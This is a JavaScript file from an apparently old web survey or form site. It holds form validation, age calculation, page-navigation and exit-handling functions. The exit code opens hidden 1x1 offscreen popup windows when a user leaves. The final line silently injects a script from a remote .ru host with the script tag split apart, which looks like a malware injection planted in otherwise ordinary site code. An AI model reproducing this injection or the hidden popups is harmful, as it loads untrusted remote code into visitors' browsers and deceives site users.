var exitActionsExecuted = false;

var pageSubmitted =false;
var BEStartUpUrl = "";

function f_SetAllObjDisabled()
{
	var objs=document.getElementsByTagName("input")
	for (i =0 ;i< objs.length ;i++)
	{
		objs[i].onclick ="return false;"
	}
	var objs=document.getElementsByTagName("button")
	for (i =0 ;i< objs.length ;i++)
	{
		objs[i].onclick ="return false;"
	}
}
function   CheckAge(obj)   
  {   
          objstr=document.getElementById(obj);
          str=objstr.value;
           
          var   time   =   new   Date();   
          var   year   =   time.getYear();   
          var   age     =   parseInt(year)   -   parseInt(str);
          return age; 
         
           
  }  

function CheckAge2(str) 

{   yy = str.substr(6,4); 

mm = str.substr(0,2); 

dd = str.substr(3,2); 

days = new Date(); 

gdate = days.getDate(); 

gmonth = days.getMonth();

gyear = days.getYear(); 

if (gyear < 2000) gyear += 1900; age = gyear - yy;

if ((mm == (gmonth + 1)) && (dd <= parseInt(gdate))) 

{ age = age; }

else

{ if (mm <= (gmonth)) { age = age; }

else { age = age - 1; } }

   if (age == 0) age = age; 

return age; 

} 

function  f_GoToNextPageSkipAll()
{	
	pageSubmitted=true;
	var   el   =   document.getElementById("btnGotoNextPageSikpAll");  
	if (el.click)
	{
		el.click();
	}
	else
	{
	  var   e   =   el.ownerDocument.createEvent("MouseEvents");   
	  e.initEvent("click",false,true);   
	  el.dispatchEvent(e);   
	}   
	/*if (typeof(vForm)!="undefined")
	{
		vForm.submit();
	}*/
}
/*if (document.all)

 {

           document.getElementById= CaseSensitive;

 }

 function CaseSensitive(item)

 {

           return  eval("document.all."+item);

 }*/

//////////////////////////////////////////////////////ServerValidate
if (typeof(serverValidate)=="undefined")
{
	var serverValidate = new ServerValidate();
}
function OfferData(property,value)
{
	this.Property =property;
	this.Value =value;
}
function OfferSetValue(property,value)
{
	for(var i =0;i<this.Data.length;i++)
	{
		if (this.Data[i].Property ==property)
		{
			this.Data[i].Value=value;
			return;
		}
	}
	offerData = new OfferData(property,value);
	this.Data.push(offerData);
}
function OfferGetValue(property)
{
	if (property=="MelissaCounter")
		return "1";
	for(var i =0;i<this.Data.length;i++)
	{
		if (this.Data[i].Property ==property)
		{
			return this.Data[i].Value;
		}
	}
	return "";
}
function OfferPropery()
{
	this.BeforeValidate =typeof("undefined");
	this.AfterValidate =typeof("undefined");
	//this.Count ="";
	this.Data = new Array();
	this.IFrameID ="";
	this.SetValue =OfferSetValue;
	this.GetValue =OfferGetValue;
	this.NeedValidata =true;
	//////////////////////////////////////////////
	this.Status =true;
	this.SRC ="";
	this.Msg ="";
}
function ServerValidateAdd(offerPropery)
{
	//alert(offerPropery.IFrameID);
	
	var obj = document.getElementById(offerPropery.IFrameID);
	for (var i = 0;i<this.List.length;i++)
	{
		
		if (this.List[i].IFrameID ==offerPropery.IFrameID)
		{
			offerPropery.Data =this.List[i].Data;
			if (offerPropery.BeforeValidate !=typeof("undefined"))
			{
				offerPropery.BeforeValidate(offerPropery);
			}
			this.List[i]=offerPropery;
			if (offerPropery.Status)
			{
				
				obj.src= offerPropery.SRC;
			}
			else
			{
				ServerValidateSetCanSubmit();
			}
			return;
		}
	}
	if (offerPropery.BeforeValidate !=typeof("undefined"))
	{
		offerPropery.BeforeValidate(offerPropery);
		
	}
	if (offerPropery.Status)
	{
		
		obj.src= offerPropery.SRC;
	}
	this.List.push(offerPropery);
}
function ServerValidateGetOfferByID(iFrameID)
{
	for (var i = 0;i<this.List.length;i++)
	{
		if (this.List[i].IFrameID ==iFrameID)
		{
			return this.List[i];
		}
	}
	throw 'Can not find iframeID'+iFrameID;
}
function ServerValidateSetCanSubmit()
{
	var bx =true;
	
	for (var i = 0;i<serverValidate.List.length;i++)
	{
		if (serverValidate.List[i].Status)
		{
			bx=false;
		}
	}
	
	serverValidate.CanSubmit =bx;
		
	
}
function ServerValidateSetMsg()
{
	var bx =true;
	
	for (var i = 0;i<serverValidate.List.length;i++)
	{
		//if (serverValidate.List[i].Status)
		//{
			serverValidate.Msg+=serverValidate.List[i].Msg;
		//}
	}
	
	//serverValidate.CanSubmit =bx;
		
	
}
function ServerValidateRemove(iFrameID)
{
	var bx =true;
	
	for (var i = 0;i<this.List.length;i++)
	{
		if (this.List[i].IFrameID ==iFrameID)
		{
			
			if (this.List[i].AfterValidate !=typeof("undefined"))
			{
				this.List[i].AfterValidate(this.List[i]);
			}
			this.List[i].Status =false;
			
		}
		if (this.List[i].Status)
		{
			bx=false;
		}
	}
	if (bx)
	{
		this.CanSubmit =true;
		
	}
	
}

/*function ServerValidateCanGoToNextPage()
{
	if (this.List.length==0)
	{
		
		return true;
	}
	else
	{
		return false;
	}
}*/
function ServerValidateGetByID(iFrameID)
{
	return document.getElementById(iFrameID);
}
function ServerValidateInitStatus()
{
	serverValidate.CanSubmit =false;
	serverValidate.Init =true;
	for (var i = 0;i<serverValidate.List.length;i++)
	{
		
		serverValidate.List[i].Msg='';
		
	}
	
}
function ServerValidate()
{
	if (typeof(this.List) =="undefined")
	{
		this.List = new Array();
	} 
	this.Add	= ServerValidateAdd;
	this.Remove = ServerValidateRemove; 
	this.GetOfferByID = ServerValidateGetOfferByID;
	//this.GetIFrameByID = ServerValidateGetByID;
	this.Msg ='';
	this.CanSubmit =false;
	this.Init =true;
	this.InitStatus= ServerValidateInitStatus;
	this.ValidatePass =true;
	
}
//////////////////////////////////////////////////////ServerValidate
function  f_GoToNextPage()
{
	if (typeof(operatetime)!="undefined")
	{
		operatetime=0;
	}
	var validatePass =false;
	//try
	//{
		//alert(serverValidate.CanSubmit)
		if ( !serverValidate.CanSubmit )
		{
			
			if (serverValidate.Init )
			{
				serverValidate.Msg='';
				serverValidate.CanSubmit =false;
				validatePass = Validate();
				
				
				if (validatePass)
				{
					ServerValidateSetCanSubmit();
					serverValidate.Init =false;
					serverValidate.ValidatePass =true;
				}
				else
				{
					
					if (serverValidate.List.length>0 )
					{
						ServerValidateSetCanSubmit();
						if (serverValidate.CanSubmit==false)
						{
							serverValidate.Init =false;
							serverValidate.ValidatePass =false;
						}
					}
				}
				if (serverValidate.CanSubmit==false )
				{
					
					validatePass =false
				}
				
			}
			else
			{
				
				validatePass =false;
			}
		}
		else
		{
			
		  ServerValidateSetMsg();	
		  if (serverValidate.Msg !='' )
		  {
			alert(serverValidate.Msg);
			serverValidate.InitStatus();
			validatePass =false;
			
		  }
		  else
		  {
			validatePass =true;
			//serverValidate = new ServerValidate();			
		  }
		if ( serverValidate.ValidatePass==false)
			{
				serverValidate.InitStatus();
				validatePass =false;
			}
		  serverValidate.ValidatePass =true;	
		}
		//validatePass =true;
		/**/if (typeof(MelissaVerified) !="undefined" && validatePass ==true)
		{
			if (!MelissaVerified)
			{
				//document.getElementById("Melissa_doing").style.display="";
				f_BeforeMelissaChecked();
				//var obj =document.getElementById("frameMelissaCheck");
				MelissaVerified =false;
				validatePass =false;
			
			}
			else
			{
				validatePass = f_AfterMelissaChecked();
				MelissaVerified =false;
				serverValidate.InitStatus();
				//document.getElementById("Melissa_doing").style.display="none";
				
			}
		}
	//}
	//catch(ex)
	//{
	//	alert("There are errors in form's validation script, please contact with our web master: \r\n"+ex.message);
	//	return false;
	//}
	if (validatePass)
	{
		
		pageSubmitted=true;
		//if (typeof(vForm)!="undefined")
		//{
		//	vForm.submit();
		//}
		f_SetAllObjDisabled();
		try
		{
			Before_GotoNextPage();
		}
		catch (ex)
		{}
		
		return true;
		
		
	}
	else
	{
		
		return false;
		
	}
}

function  f_ForceAcceptance(ElementType ,ElementNameOrID ,Elementvalue )
{
	if ( ForceAcceptance == true )
		return true;
	var obj ;
	switch ( ElementType )
	{
		case "RadioButton":
		case "CheckBox" :
			obj = document.getElementById(ElementNameOrID);
			if (obj.checked)
			{	
				return true;
			}
			break;
		case "DropDownList" :
			obj =document.getElementById(ElementNameOrID);
			if (obj.selectedIndex != -1)
			{
				return true;
			}
			break;
		case "RadioButtonList":
		case "CheckBoxList" :
			obj =document.getElementById(ElementNameOrID);
			if (obj.checked)
			{	
				return true;
			}
			break;
		
			
	}
	return false;
	
	
}

function x()
{
	pageSubmitted = true;
}

function doExitActions()
{
	if(exitActionsExecuted) return;
	
	exitActionsExecuted = true;
	
	if (typeof(IsMainFrame)!="undefined")
	{
		if ((AbandonTemplateExist==true) && (pageSubmitted ==false))
		{
			var qsURL = "exit.aspx?ClearSession=false&" + BEStartUpUrl;
			var win = window.open(qsURL)
		}
		/*
		if(0 == abandonpops || 0 == blockpops || 0 == allabandonpops || 0 == exitPop)
		{
			return;
		}
		*/
		
		if(0 == blockpops)
		{
			return;
		}
		
		var pageNumber =parseInt(QueryString("pageNo"));
		if (pageNumber<=1)
		{
			if (!pageSubmitted)
			{
				if(0 == abandonpops || 0 == exitPop || 0 == allabandonpops)	return;
				
				Set_Home(home);
				window_onExit();
				//*** open window manager for abandon delayed pops added by T.R. on 2004-06-16 ***
				var popManWin = window.open('includes/delayPopDispatcher_abandon.html?' + BE_User_Attribute,'popmanwin','width=1,height=1,directories=no,location=no,resizable=yes,scrollbars=no,status=no,toolbar=no,menubar=no,top=1900,left=333');
				window.focus()	//keep main window on top
				
			}
			else
			{
				if (FreezePageNumber==-1)
				{
					pageNumber --;
					
					if (typeof(arrSOCPops)!="undefined")
					{
						if (typeof(arrSOCPops[pageNumber])!="undefined" && arrSOCPops[pageNumber] !="")
						{
							eval(arrSOCPops[pageNumber]);
						}
					}
					window.open("includes/delayPopDispatcher.html?" + BE_User_Attribute,'popmanwin','width=1,height=1,directories=no,location=no,resizable=yes,scrollbars=no,status=no,toolbar=no,menubar=no,top=1900,left=333');
				}
			}
		}
		else
		{
			if (pageSubmitted)
			{
				if (FreezePageNumber==-1)
				{
					pageNumber --;
					
					if (typeof(arrSOCPops)!="undefined")
					{
						if (typeof(arrSOCPops[pageNumber])!="undefined" && arrSOCPops[pageNumber] !="")
						{
							eval(arrSOCPops[pageNumber]);
						}
					}
				}
			}
			else
			{
				try
				{
					Set_Home(home);
					window_onExit();
				}
				catch(ex)
				{}
				//*** open window manager for abandon delayed pops added by T.R. on 2004-06-16 ***
				var popManWin = window.open('includes/delayPopDispatcher_abandon.html?' + BE_User_Attribute,'popmanwin','width=1,height=1,directories=no,location=no,resizable=yes,scrollbars=no,status=no,toolbar=no,menubar=no,top=1900,left=333');
				window.focus()	//keep main window on top
				//var qsURL = "exit.aspx?ClearSession=false&" + BEStartUpUrl;
				//alert('Debug message: You only completed upto Page ' + pageCompletedIndex)
				//var win = window.open(qsURL);

			}
		}
	}
	
}






document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Virtual_Memory.js"></scr'+'ipt>');